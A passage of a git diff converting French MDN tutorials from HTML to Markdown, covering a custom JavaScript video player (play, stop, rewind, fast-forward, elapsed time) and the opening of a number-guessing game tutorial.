booléen <code>true</code>/<code>false</code> en résultat.</li> - <li>Si la classe <code>active</code> a été définie sur le bouton <code>rwd</code>, nous la supprimons avec <code>classList.remove()</code>, effaçons l'intervale qui a été définit sur le bouton quand il a été pressé (voir ci-dessous pour plus d'explication), et utilisons {{domxref("HTMLMediaElement.play()")}} pour annuler le retour arrière et démarrer la vidéo normalement.</li> - <li> - <p>Sinon, nous ajoutons la classe <code>active</code> sur le bouton <code>rwd</code> avec <code>classList.add()</code>, mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable <code>intervalRwd</code> en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction <code>setInterval()</code> créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction <code>windBackward()</code> toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable <code>intervalRwd</code> (voir l'appel à <code>clearInterval()</code> effectué plus tôt dans la fonction).</p> - </li> - </ol> - </li> - <li> - <p>Pour en finir avec cette section, nous devons définir les fonctions <code>windBackward()</code> et <code>windForward()</code> invoquées dans les appels <code>setInterval()</code>. Ajoutez ce qui suit après les deux fonctions précédentes:</p> - - <pre class="brush: js">function windBackward() { - if(media.currentTime <= 3) { - rwd.classList.remove('active'); - clearInterval(intervalRwd); - stopMedia(); - } else { - media.currentTime -= 3; - } -} + ```js + function playPauseMedia() { + if(media.paused) { + play.setAttribute('data-icon','u'); + media.play(); + } else { + play.setAttribute('data-icon','P'); + media.pause(); + } + } + ``` -function windForward() { - if(media.currentTime >= media.duration - 3) { - fwd.classList.remove('active'); - clearInterval(intervalFwd); - stopMedia(); - } else { - media.currentTime += 3; - } -}</pre> - Encore une fois, nous allons voir pas à pas la première fonction, puisque les deux fonctions font la même chose mais dans le sens inverse. Dans <code>windBackward()</code>, nous faisons comme suit — gardez à l'esprit que la fonction est exécutée toutes les 200 millisecondes. + Ici, nous utilisons une instruction [`if`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut `data-icon` à "u", qui est une icône "en pause", et invoquons la méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média. + + Au second clic, le bouton sera de nouveau alterné — l'icône "play" sera affiché, et la vidéo sera mise en pause avec {{domxref("HTMLMediaElement.paused()")}}. + +#### Stopper la vidéo + +1. Ajoutons la possibilité d'arrêter la vidéo. Ajoutez les lignes [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) suivantes au-dessous de vos ajouts précédents: + + ```js + stop.addEventListener('click', stopMedia); + media.addEventListener('ended', stopMedia); + ``` + + L'événement {{event("click")}} est explicite — nous voulons stopper la vidéo en appelant la fonction `stopMedia()` quand le bouton stop est cliqué. Cependant, nous voulons également stopper la vidéo quand elle a fini de jouer — signalé par l'événement {{event("ended")}}, nous pouvons donc mettre en place un gestionnaire d'événement pour exécuter la fonction quand cet événément se produit. + +2. Ensuite, définissons `stopMedia()` — ajoutez ce qui suit après la fonction `playPauseMedia()`: + + ```js + function stopMedia() { + media.pause(); + media.currentTime = 0; + play.setAttribute('data-icon','P'); + } + ``` + + Il n'y a pas de méthode `stop()` dans l'API HTMLMediaElement — l'équivalent du stop est de mettre `pause()` sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à `currentTime` (en secondes) change immédiatement la position du temps du média. - <ol> - <li>Nous commençons avec une instruction <code>if</code> qui vérifie si le temps en cours est inférieur à 3 secondes, c'est à dire si le retour arrière nous ramènerait avant le début de la vidéo. Cela provoquerait un comportement étrange. Ainsi, si c'est le cas, nous arrêtons la vidéo en appelant <code>stopMedia()</code>, supprimons la classe <code>active</code> du bouton, et stoppons l'intervale <code>intervalRwd</code> pour stopper le retour arrière. Si nous n'avions pas ajouté cette dernière étape, la vidéo continuerait de se remboniner éternellement.</li> - <li>Si le temps en cours n'est pas inférieur à 3 secondes, nous retournons en arrière de 3 secondes en exécutant <code>media.currentTime -= 3</code>. Dans les faits, on rembobine donc la vidéo de 3 secondes toutes les 200 millisecondes.</li> - </ol> - </li> -</ol> + Tout ce qui nous reste à faire après ça est d'afficher l'icône "play". Que la vidéo ait été en train de jouer ou en pause, quand le bouton stop est pressé, vous voulez qu'elle doit prête à être lue. -<h4 id="Mettre_à_jour_le_temps_écoulé">Mettre à jour le temps écoulé</h4> +#### Retour arrière et avance rapide -<p>La dernière chose à implémenter pour notre lecteur multimédia est l'affichage du temps écoulé. Pour ce faire, nous allons exécuter une fonction pour mettre à jour le temps affiché à chaque fois que l'événement {{event("timeupdate")}} est déclenché sur l'élément <code><video></code>. La fréquence à laquelle cet événement se déclenche dépend de votre navigateur, de la puissance de votre CPU, etc (<a href="http://stackoverflow.com/questions/9678177/how-often-does-the-timeupdate-event-fire-for-an-html5-video">voir post stackoverflow</a>).</p> +Il y a différentes manières d'implémenter le retour arrière et l'avance rapide; ici, nous vous montrons une manière relativement complexe de le faire, qui n'a pas de comportement inattendu quand différents boutons sont pressés dans un ordre aléatoire. -<p>Ajoutez la ligne <code>addEventListener()</code> suivante à la suite des autres:</p> +1. Tout d'abord, ajoutez les lignes [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) suivantes à la suite des précédentes: -<pre class="brush: js">media.addEventListener('timeupdate', setTime);</pre> + ```js + rwd.addEventListener('click', mediaBackward); + fwd.addEventListener('click', mediaForward); + ``` -<p>Maintenant, ajoutez la fonction <code>setTime()</code>:</p> +2. Maintenant, occupons-nous des fonctions des gestionnaires d'événément — ajoutez le code suivant à la suite des fonctions précédentes pour définir `mediaBackward()` et `mediaForward()`: -<pre class="brush: js">function setTime() { + ```js + var intervalFwd; + var intervalRwd; + + function mediaBackward() { + clearInterval(intervalFwd); + fwd.classList.remove('active'); + + if(rwd.classList.contains('active')) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + media.play(); + } else { + rwd.classList.add('active'); + media.pause(); + intervalRwd = setInterval(windBackward, 200); + } + } + + function mediaForward() { + clearInterval(intervalRwd); + rwd.classList.remove('active'); + + if(fwd.classList.contains('active')) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + media.play(); + } else { + fwd.classList.add('active'); + media.pause(); + intervalFwd = setInterval(windForward, 200); + } + } + ``` + + Vous remarquerez que nous commençons par initialiser deux variables — `intervalFwd` et `intervalRwd` — vous verrez à quoi elles servent plus tard. + + Voyons pas à pas `mediaBackward()` (`mediaForward()` fait la même chose, mais dans l'autre sens): + + 1. Nous effaçons les classes et intervales qui sont définits sur la fonctionnalité d'avance rapide — de cette manière, si on presse le bouton `rwd` après avoir pressé le bouton `fwd`, on annule l'avance rapide et la remplaçons avec le retour arrière. Si on essayait de faire les deux à la fois, le lecteur échouerait. + 2. Nous utilisons une instruction `if` pour vérifier si la classe `active` a été définie sur le bouton `rwd`, ce qui indique qu'il a déjà été pressé. La propriété {{domxref("classList")}} est une propriété plutôt pratique qui existe sur chaque élément — elle contient une liste de toutes les classes définies sur l'élément, ainsi que des méthodes pour en ajouter/supprimer, etc. Nous utilisons la méthode `classList.contains()` pour vérifier si la liste contient la classe `active`. Cela retourne un booléen `true`/`false` en résultat. + 3. Si la classe `active` a été définie sur le bouton `rwd`, nous la supprimons avec `classList.remove()`, effaçons l'intervale qui a été définit sur le bouton quand il a été pressé (voir ci-dessous pour plus d'explication), et utilisons {{domxref("HTMLMediaElement.play()")}} pour annuler le retour arrière et démarrer la vidéo normalement. + 4. Sinon, nous ajoutons la classe `active` sur le bouton `rwd` avec `classList.add()`, mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable `intervalRwd` en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction `setInterval()` créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction `windBackward()` toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable `intervalRwd` (voir l'appel à `clearInterval()` effectué plus tôt dans la fonction). + +3. Pour en finir avec cette section, nous devons définir les fonctions `windBackward()` et `windForward()` invoquées dans les appels `setInterval()`. Ajoutez ce qui suit après les deux fonctions précédentes: + + ```js + function windBackward() { + if(media.currentTime <= 3) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + stopMedia(); + } else { + media.currentTime -= 3; + } + } + + function windForward() { + if(media.currentTime >= media.duration - 3) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + stopMedia(); + } else { + media.currentTime += 3; + } + } + ``` + + Encore une fois, nous allons voir pas à pas la première fonction, puisque les deux fonctions font la même chose mais dans le sens inverse. Dans `windBackward()`, nous faisons comme suit — gardez à l'esprit que la fonction est exécutée toutes les 200 millisecondes. + + 1. Nous commençons avec une instruction `if` qui vérifie si le temps en cours est inférieur à 3 secondes, c'est à dire si le retour arrière nous ramènerait avant le début de la vidéo. Cela provoquerait un comportement étrange. Ainsi, si c'est le cas, nous arrêtons la vidéo en appelant `stopMedia()`, supprimons la classe `active` du bouton, et stoppons l'intervale `intervalRwd` pour stopper le retour arrière. Si nous n'avions pas ajouté cette dernière étape, la vidéo continuerait de se remboniner éternellement. + 2. Si le temps en cours n'est pas inférieur à 3 secondes, nous retournons en arrière de 3 secondes en exécutant `media.currentTime -= 3`. Dans les faits, on rembobine donc la vidéo de 3 secondes toutes les 200 millisecondes. + +#### Mettre à jour le temps écoulé + +La dernière chose à implémenter pour notre lecteur multimédia est l'affichage du temps écoulé. Pour ce faire, nous allons exécuter une fonction pour mettre à jour le temps affiché à chaque fois que l'événement {{event("timeupdate")}} est déclenché sur l'élément `<video>`. La fréquence à laquelle cet événement se déclenche dépend de votre navigateur, de la puissance de votre CPU, etc ([voir post stackoverflow](http://stackoverflow.com/questions/9678177/how-often-does-the-timeupdate-event-fire-for-an-html5-video)). + +Ajoutez la ligne `addEventListener()` suivante à la suite des autres: + +```js +media.addEventListener('timeupdate', setTime); +``` + +Maintenant, ajoutez la fonction `setTime()`: + +```js +function setTime() { var minutes = Math.floor(media.currentTime / 60); var seconds = Math.floor(media.currentTime - minutes * 60); var minuteValue; var secondValue; - if (minutes < 10) { + if (minutes < 10) { minuteValue = '0' + minutes; } else { minuteValue = minutes; } - if (seconds < 10) { + if (seconds < 10) { secondValue = '0' + seconds; } else { secondValue = seconds; @@ -429,91 +425,74 @@ function windForward() { var barLength = timerWrapper.clientWidth * (media.currentTime/media.duration); timerBar.style.width = barLength + 'px'; } -</pre> +``` -<p>C'est une fonction assez longue, alors allons-y étape par étape:</p> +C'est une fonction assez longue, alors allons-y étape par étape: -<ol> - <li>Tout d'abord, nous récupérons le nombre de minutes et de secondes à partir de {{domxref("HTMLMediaElement.currentTime")}}.</li> - <li>Ensuite, on initialise deux variables supplémentaires — <code>minuteValue</code> et <code>secondValue</code>.</li> - <li>Les deux instructions <code>if</code> qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale.</li> - <li>Le temps est au final la concaténation de <code>minuteValue</code>, un caractère deux-points, et <code>secondValue</code>.</li> - <li>Le temps qu'on vient de définir devient la valeur {{domxref("Node.textContent")}} du décompte, pour qu'il s'affiche dans l'interface utilisateur.</li> - <li>La largeur que nous devons donner <code><div></code> intérieur est calculée en récupérant la largeur du <code><div></code> externe (la propriété {{domxref("HTMLElement.clientWidth", "clientWidth")}} retourne la largeur de l'élément), et en la multipliant par {{domxref("HTMLMediaElement.currentTime")}} divisé par le total {{domxref("HTMLMediaElement.duration")}} du média.</li> - <li>Nous assignons la largeur du <code><div></code> intérieur à la valeur calculée, plus "px", il sera donc fixé à ce nombre de pixels.</li> -</ol> +1. Tout d'abord, nous récupérons le nombre de minutes et de secondes à partir de {{domxref("HTMLMediaElement.currentTime")}}. +2. Ensuite, on initialise deux variables supplémentaires — `minuteValue` et `secondValue`. +3. Les deux instructions `if` qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale. +4. Le temps est au final la concaténation de `minuteValue`, un caractère deux-points, et `secondValue`. +5. Le temps qu'on vient de définir devient la valeur {{domxref("Node.textContent")}} du décompte, pour qu'il s'affiche dans l'interface utilisateur. +6. La largeur que nous devons donner `<div>` intérieur est calculée en récupérant la largeur du `<div>` externe (la propriété {{domxref("HTMLElement.clientWidth", "clientWidth")}} retourne la largeur de l'élément), et en la multipliant par {{domxref("HTMLMediaElement.currentTime")}} divisé par le total {{domxref("HTMLMediaElement.duration")}} du média. +7. Nous assignons la largeur du `<div>` intérieur à la valeur calculée, plus "px", il sera donc fixé à ce nombre de pixels. -<h4 id="Corriger_play_et_pause">Corriger play et pause</h4> +#### Corriger play et pause -<p>Il nous reste un problème à régler. Si on presse les boutons play/pause ou stop pendant que le retour arrière ou l'avance rapide sont actifs, alors ça ne marchera pas. Comment corriger le code pour qu'ils annulent l'action <code>rwd</code>/<code>fwd</code> et joue/stoppe la vidéo comme on s'y attendrait? C'est relativement simple.</p> +Il nous reste un problème à régler. Si on presse les boutons play/pause ou stop pendant que le retour arrière ou l'avance rapide sont actifs, alors ça ne marchera pas. Comment corriger le code pour qu'ils annulent l'action `rwd`/`fwd` et joue/stoppe la vidéo comme on s'y attendrait? C'est relativement simple. -<p>Tout d'abord, ajoutez les lignes qui suivent à l'intérieur de la fonction <code>stopMedia()</code> — n'importe où:</p> +Tout d'abord, ajoutez les lignes qui suivent à l'intérieur de la fonction `stopMedia()` — n'importe où: -<pre class="brush: js">rwd.classList.remove('active'); +```js +rwd.classList.remove('active'); fwd.classList.remove('active'); clearInterval(intervalRwd); clearInterval(intervalFwd); -</pre> +``` -<p>Maintenant, ajoutez ces mêmes lignes une fois de plus, au début de la fonction <code>playPauseMedia()</code> (juste avant le début de l'instruction <code>if</code>).</p> +Maintenant, ajoutez ces mêmes lignes une fois de plus, au début de la fonction `playPauseMedia()` (juste avant le début de l'instruction `if`). -<p>À ce stade, vous pouvez supprimer les lignes équivalentes des fonctions <code>windBackward()</code> et <code>windForward()</code>, puisqu'elles ont été ajoutées à la fonction <code>stopMedia()</code> à la place.</p> +À ce stade, vous pouvez supprimer les lignes équivalentes des fonctions `windBackward()` et `windForward()`, puisqu'elles ont été ajoutées à la fonction `stopMedia()` à la place. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez améliorer votre code en créant une fonction séparée qui exécute ces lignes, et l'appeler aux endroits où vous en avez besoin plutôt que de répéter ces lignes à de multiples endroits du code. Mais nous vous laissons vous en occuper.</p> -</div> +> **Note :** Vous pouvez améliorer votre code en créant une fonction séparée qui exécute ces lignes, et l'appeler aux endroits où vous en avez besoin plutôt que de répéter ces lignes à de multiples endroits du code. Mais nous vous laissons vous en occuper. -<div class="note"> -<p><strong>Note :</strong> Le <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/video-audio/finished">code terminé</a> est disponible sur Github (le <a href="https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/">voir en direct</a>).</p> -</div> +> **Note :** Le [code terminé](https://github.com/mdn/learning-area/tree/master/javascript/apis/video-audio/finished) est disponible sur Github (le [voir en direct](https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/)). + +## Sommaire + +Je pense que nous vous en avons suffisamment appris dans cet article. L'API {{domxref("HTMLMediaElement")}} offre une multitude de fonctionnalités pour la création de lecteurs audio et vidéo simples, et ce n'est que le sommet de l'iceberg. La section "Voir aussi" ci-dessous vous fournirea des liens vers des fonctionnalités plus complexes et plus intéressantes. + +Voici quelques suggestions de modifications à apporter à l'exemple que nous avons construit: + +1. Si la vidéo dure plus d'une heure, le temps écoulé va bien afficher les minutes et les secondes mais pas les heures. Changez l'exemple pour lui faire afficher les heures. +2. Parce que les éléments `<audio>` ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément `<audio>`. Essayez de le faire. +3. Trouvez un moyen de transformer le `<div>` interne en une véritable barre de progrès — quand vous cliquez quelque part sur la barre, vous vous déplacez à la position relative dans la vidéo. Un indice: vous pouvez trouver les valeurs X et Y des côtés gauche/droite et haut/bas d'un l'élément via la méthode [`getBoundingClientRect()`](/fr/docs/Web/API/Element/getBoundingClientRect), et vous pouvez trouver les coordonnées de la souris au moment du clic à l'intérieur de l'objet `event` du clic, appelé sur l'objet {{domxref("Document")}}. Par exemple: + + ```js + document.onclick = function(e) { + console.log(e.x) + ',' + console.log(e.y) + } + ``` + +## Voir aussi + +- {{domxref("HTMLMediaElement")}} +- [Contenu audio et vidéo](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video) — simple guide aux `<video>` et `<audio>` HTML. +- [Intégration audio et vidéo](/fr/Apps/Build/Audio_and_video_delivery) — guide détaillé sur l'intégration de média dans le navigateur, avec de nombreux conseils, astuces et liens vers des tutoriels plus avancés. +- [Manipulation audio et vidéo](/fr/Apps/Fundamentals/Audio_and_video_manipulation) — guide détaillé pour manipuler l'audio et vidéo avec [Canvas API](/fr/docs/Web/HTML/Canvas), [Web Audio API](/fr/docs/Web/API/Web_Audio_API), et plus encore. +- Les pages référence {{htmlelement("video")}} et {{htmlelement("audio")}}. +- [Formats pris en charge par les éléments HTML audio et vidéo](/fr/docs/Web/HTML/Formats_pour_audio_video). + +{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} + + + +## Dans ce module -<h2 id="Sommaire">Sommaire</h2> - -<p>Je pense que nous vous en avons suffisamment appris dans cet article. L'API {{domxref("HTMLMediaElement")}} offre une multitude de fonctionnalités pour la création de lecteurs audio et vidéo simples, et ce n'est que le sommet de l'iceberg. La section "Voir aussi" ci-dessous vous fournirea des liens vers des fonctionnalités plus complexes et plus intéressantes.</p> - -<p>Voici quelques suggestions de modifications à apporter à l'exemple que nous avons construit:</p> - -<ol> - <li> - <p>Si la vidéo dure plus d'une heure, le temps écoulé va bien afficher les minutes et les secondes mais pas les heures. Changez l'exemple pour lui faire afficher les heures.</p> - </li> - <li> - <p>Parce que les éléments <code><audio></code> ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément <code><audio></code>. Essayez de le faire.</p> - </li> - <li> - <p>Trouvez un moyen de transformer le <code><div></code> interne en une véritable barre de progrès — quand vous cliquez quelque part sur la barre, vous vous déplacez à la position relative dans la vidéo. Un indice: vous pouvez trouver les valeurs X et Y des côtés gauche/droite et haut/bas d'un l'élément via la méthode <code><a href="/fr/docs/Web/API/Element/getBoundingClientRect">getBoundingClientRect()</a></code>, et vous pouvez trouver les coordonnées de la souris au moment du clic à l'intérieur de l'objet <code>event</code> du clic, appelé sur l'objet {{domxref("Document")}}. Par exemple:</p> - - <pre class="brush: js">document.onclick = function(e) { - console.log(e.x) + ',' + console.log(e.y) -}</pre> - </li> -</ol> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>{{domxref("HTMLMediaElement")}}</li> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Contenu audio et vidéo</a> — simple guide aux <code><video></code> et <code><audio></code> HTML.</li> - <li><a href="/fr/Apps/Build/Audio_and_video_delivery">Intégration audio et vidéo</a> — guide détaillé sur l'intégration de média dans le navigateur, avec de nombreux conseils, astuces et liens vers des tutoriels plus avancés.</li> - <li><a href="/fr/Apps/Fundamentals/Audio_and_video_manipulation">Manipulation audio et vidéo</a> — guide détaillé pour manipuler l'audio et vidéo avec <a href="/fr/docs/Web/HTML/Canvas">Canvas API</a>, <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio API</a>, et plus encore.</li> - <li>Les pages référence {{htmlelement("video")}} et {{htmlelement("audio")}}.</li> - <li> - <p><a href="/fr/docs/Web/HTML/Formats_pour_audio_video">Formats pris en charge par les éléments HTML audio et vidéo</a>.</p> - </li> -</ul> - -<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> - -<p> </p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> +- [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) +- [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/first_steps/a_first_splash/index.md b/files/fr/learn/javascript/first_steps/a_first_splash/index.md index 40c91d2fa4..4964b628aa 100644 --- a/files/fr/learn/javascript/first_steps/a_first_splash/index.md +++ b/files/fr/learn/javascript/first_steps/a_first_splash/index.md @@ -14,51 +14,50 @@ tags: - structures conditionnelles translation_of: Learn/JavaScript/First_steps/A_first_splash --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div> - -<p>Maintenant que vous avez appris quelques éléments théoriques sur le JavaScript, et ce que vous pouvez faire avec, nous allons vous donner un cours intensif sur les fonctionnalités basiques du JavaScript avec un tutoriel entièrement pratique. Vous allez construire un jeu simple, étape par étape. Il s'agit de faire deviner un nombre, notre jeu s'appelle « Guess the number ».</p> +Maintenant que vous avez appris quelques éléments théoriques sur le JavaScript, et ce que vous pouvez faire avec, nous allons vous donner un cours intensif sur les fonctionnalités basiques du JavaScript avec un tutoriel entièrement pratique. Vous allez construire un jeu simple, étape par étape. Il s'agit de faire deviner un nombre, notre jeu s'appelle « Guess the number ». <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Une culture informatique basique, et des notions de HTML et CSS.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Avoir une première expérience d'écriture de JavaScript et comprendre les implications de l'écriture d'un programme en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td>Une culture informatique basique, et des notions de HTML et CSS.</td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Avoir une première expérience d'écriture de JavaScript et comprendre les + implications de l'écriture d'un programme en JavaScript. + </td> + </tr> + </tbody> </table> -<p>Ne vous attendez pas à comprendre tout le code en détail immédiatement — nous voulons simplement vous présenter les grands concepts pour le moment, et vous donner une idée de la façon dont JavaScript (et d'autres langages de programmation) fonctionne. Dans les articles suivants, vous reviendrez plus en détails sur toutes ces fonctionnalités !</p> - -<div class="note"> -<p><strong>Note :</strong> De nombreuses fonctionnalités que vous allez voir en JavaScript sont identiques à celles d'autres langages de programmation — fonctions, boucles, etc. La syntaxe du code est différente mais les concepts sont globalement identiques.</p> -</div> +Ne vous attendez pas à comprendre tout le code en détail immédiatement — nous voulons simplement vous présenter les grands concepts pour le moment, et vous donner une idée de la façon dont JavaScript (et d'autres langages de programmation) fonctionne. Dans les articles suivants, vous reviendrez plus en détails sur toutes ces fonctionnalités ! -<h2 id="Penser_comme_un_programmeur">Penser comme un programmeur</h2> +> **Note :** De nombreuses fonctionnalités que vous allez voir en JavaScript sont identiques à celles d'autres langages de programmation — fonctions, boucles, etc. La syntaxe du code est différente mais les concepts sont globalement identiques. -<p>Une des choses les plus difficiles à apprendre en programmation n'est pas la syntaxe, mais comment l'appliquer afin de résoudre un problème réel. Vous devez commencer à penser comme un programmeur — ce qui implique généralement d'examiner les tâches que votre programme doit effectuer, de déterminer les fonctionnalités du code nécessaires à leurs réalisations et comment les faire fonctionner ensemble.</p> +## Penser comme un programmeur -<p>Cela requiert un mélange de travail acharné, d'expérience avec la syntaxe de programmation (de manière générale) et surtout de la pratique — ainsi qu'un peu de créativité. Plus vous allez coder, plus vous aller vous améliorer. On ne peut pas garantir que vous aurez un « cerveau de développeur » en 5 minutes, mais nous allons vous donner plein d'occasions pour pratiquer cette façon de penser, tout au long du cours.</p> +Une des choses les plus difficiles à apprendre en programmation n'est pas la syntaxe, mais comment l'appliquer afin de résoudre un problème réel. Vous devez commencer à penser comme un programmeur — ce qui implique généralement d'examiner les tâches que votre programme doit effectuer, de déterminer les fonctionnalités du code nécessaires à leurs réalisations et comment les faire fonctionner ensemble. -<p>Maintenant que vous avez cela en tête, regardons l'exemple que nous allons construire dans cet article et comment le découper en plusieurs tâches qui ont du sens.</p> +Cela requiert un mélange de travail acharné, d'expérience avec la syntaxe de programmation (de manière générale) et surtout de la pratique — ainsi qu'un peu de créativité. Plus vous allez coder, plus vous aller vous améliorer. On ne peut pas garantir que vous aurez un « cerveau de développeur » en 5 minutes, mais nous allons vous donner plein d'occasions pour pratiquer cette façon de penser, tout au long du cours. -<h2 id="Exemple_—_Jeu_Guess_the_number">Exemple — Jeu : Guess the number</h2> +Maintenant que vous avez cela en tête, regardons l'exemple que nous allons construire dans cet article et comment le découper en plusieurs tâches qui ont du sens. -<p>Dans cet article, nous allons vous montrer comment construire le jeu simple que vous pouvez voir ci-dessous :</p> +## Exemple — Jeu : Guess the number +Dans cet article, nous allons vous montrer comment construire le jeu simple que vous pouvez voir ci-dessous : -<pre class="brush: html hidden"><!DOCTYPE html> -<html> +```html hidden +<!DOCTYPE html> +<html> -<head> - <meta charset="utf-8"> - <title>Number guessing game</title> - <style> +<head> + <meta charset="utf-8"> + <title>Number guessing game</title> + <style> html { font-family: sans-serif; } @@ -74,20 +73,20 @@ translation_of: Learn/JavaScript/First_steps/A_first_splash color: white; padding: 3px; } - </style> -</head> - -<body> - <h1>Deviner un nombre</h1> - <p>Nous avons généré un nombre aléatoire entre 1 et 100, tentez de le deviner en 10 tours maximum. Pour chaque tentative, nous vous dirons si votre estimation est trop ou pas assez élevée.</p> - <div class="form"> <label for="guessField">Entrez votre proposition : </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="Valider" class="guessSubmit"> </div> - <div class="resultParas"> - <p class="guesses"></p> - <p class="lastResult"></p> - <p class="lowOrHi"></p> - </div> -</body> -<script> + </style> +</head> + +<body> + <h1>Deviner un nombre</h1> + <p>Nous avons généré un nombre aléatoire entre 1 et 100, tentez de le deviner en 10 tours maximum. Pour chaque tentative, nous vous dirons si votre estimation est trop ou pas assez élevée.</p> + <div class="form"> <label for="guessField">Entrez votre proposition : </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="Valider" class="guessSubmit"> </div> + <div class="resultParas"> + <p class="guesses"></p> + <p class="lastResult"></p> + <p class="lowOrHi"></p> + </div> +</body> +<script> // Le JavaScript se place ici let randomNumber = Math.floor(Math.random() * 100) + 1; let guesses = document.querySelector('.guesses'); @@ -118,9 +117,9 @@ translation_of: Learn/JavaScript/First_steps/A_first_splash } else { lastResult.textContent = 'Faux!'; lastResult.style.backgroundColor = 'red'; - if (userGuess < randomNumber) { + if (userGuess < randomNumber) { lowOrHi.textContent='Le nombre saisi est trop petit !' ; - } else if(userGuess > randomNumber) { + } else if(userGuess > randomNumber) { lowOrHi.textContent = 'Le nombre saisi est trop grand!'; } } @@ -143,7 +142,7 @@ translation_of: Learn/JavaScript/First_steps/A_first_splash function resetGame() { guessCount = 1; let resetParas = document.querySelectorAll('.resultParas p'); - for (let i = 0 ; i < resetParas.length ; i++) { + for (let i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent=''; } @@ -155,72 +154,68 @@ 